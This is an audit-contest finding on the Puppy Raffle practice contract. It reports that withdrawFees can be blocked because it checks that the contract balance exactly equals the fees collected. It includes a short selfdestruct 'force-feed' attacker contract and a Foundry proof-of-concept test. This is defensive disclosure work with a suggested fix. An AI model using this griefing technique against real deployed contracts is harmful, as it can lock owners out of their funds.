First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Unable to withdraw fees due to bad balance check

luka

Summary

The PuppyRaffle::withdrawFees function requires that the sum of fees collected must precisely match the current balance of the contract.

This assumption is grounded in the expectation that, after the prize pool is paid out, the sole remaining balance in the contract should consist exclusively of collected fees.

This would be true if entranceFee would be the only way of depositing funds into the contract.
If the attacker increases the contract balance through other means remaining balance will not match collected fees and PuppyRaffle::withdrawFees function call will fail.

Vulnerability Details

Attacker contract AttackerForceFeed.sol:

pragma solidity ^0.7.6;
​
contract AttackerForceFeed {
function forceFeed(address target) external payable {
selfdestruct(payable(target));
}
}
​

The PoC test:

function testWithdrawFeesFailAfterBlanceChange() public playersEntered {
// attacker deposits 1 eth to puppyRaffle contract
attackerFF.forceFeed{value: 1 ether}(address(puppyRaffle));
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// puppyRaffle contract balance should equal collected entrance fess + 1 eth
assertEq(address(puppyRaffle).balance, (entranceFee * 4) + 1 ether);
​
puppyRaffle.selectWinner();
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
​
}

Impact

This kind of attack could prevent the owner from collecting any fees.

Tools Used

Foundry

Recommendations

Do not rely on the contract balance to check if there are any active players in the current raffle.
One could check the PuppyRaffle::players array to see if there are any active players before executing the fee withdrawal transaction
Since fees are allocated after the raffle ends than fee withdrawal should not impact active raffles given that they are calculated correctly.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!